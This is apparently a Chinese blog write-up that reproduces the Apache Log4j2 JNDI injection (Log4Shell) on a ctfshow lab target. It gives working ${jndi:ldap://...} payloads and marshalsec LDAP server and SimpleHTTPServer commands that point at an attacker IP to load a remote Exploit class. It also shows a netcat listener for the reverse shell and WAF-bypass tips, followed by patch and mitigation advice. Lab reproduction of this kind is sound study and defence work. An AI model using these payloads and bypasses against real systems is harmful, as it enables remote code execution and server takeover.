Apache Log4j漏洞复现
Apache Log4j漏洞复现
漏洞描述
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
如下组件均有该漏洞
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
漏洞原理
代码的主要内容就是一旦发现日志中包含 ${
就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
之后进入 Interpolator 类的 lookup 方法,(可以把一些系统变量放到日志中)由前缀值 jndi 获取到 JndiLookup 类,最终调用对应的 lookup 方法发起请求
总结:日志在打印时当遇到 ${
后,Interpolator 类以 :
号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
所以poc:${jndi:ldap://xxx.xxx.xxx.xxx/exp}
验证过程:
poc为${jndi:ldap://8v1wxm.dnslog.cn}
格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://8v1wxm.dnslog.cn进行请求。所以,如果能注入成功,则在请求网址的时候,会对8v1wxm.dnslog.cn这个域名进行解析,并留下解析记录。
所以当注入成功时,dnslog就会留下解析记录
漏洞复现
打开靶机(使用靶机为ctfshow靶机)
1、构造反序列化exp,改一下ip即可
1 | import java.lang.Runtime; |
2、用javac编译一下
注意:javac编译版本必须为1.8,否则复现不成功
log4jrce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。
把这个类编译之后会得到一个Exploit.class
3、开启web服务
将刚刚得到的class放入我们即将开启的web目录里面,使用python2自带的SimpleHTTPServer
python2 -m SimpleHTTPServer 444
如上图,开启web服务后,访问页面也会有相应回显
4.开启marshalsec IDAP服务
项目地址:https://github.com/mbechler/marshalsec
利用marshalsec开启一个恶意的IDAP服务命令为:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://118.31.59.38:444/#Exp" 9997
端口为9997,开启监听
5.打EXP
poc:${jndi:ldap://118.31.59.38:9997/Exp}
6.反弹shell
本地开启监听 nc -lvnp 12000
成功回弹shell
Bypass
如果企业已经部署了 WAF 等安全产品,在漏洞爆发之初就应该及时更新规则,临时处置,从而给后续的根治争取时间,从 payload 上看,有几个关键特征:
${
,jndi
,ldap
,rmi
等,但是如果只是拦截jndi
等字符串,很可能没有很好的效果,因为可以进行字符串拼接从而绕过检测,而如果拦截${
,又可能造成正常功能无法使用,毕竟可能存在正常请求中包含这个关键词的情况。
1、jndi、ldap、rmi 绕过
- 用 lowerCase upperCase 把关键词分割开
2.${
关键词拦截
这个范围大,而且会误报,感觉不太会设置${拦截
修复建议
1.升级Apache Log4j 2至最新安全版本2.15.0-rc2:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。
临时解决方案:
1.设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”;
2.设置系统环境变量
“FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”;
3.关闭应用的网络外连。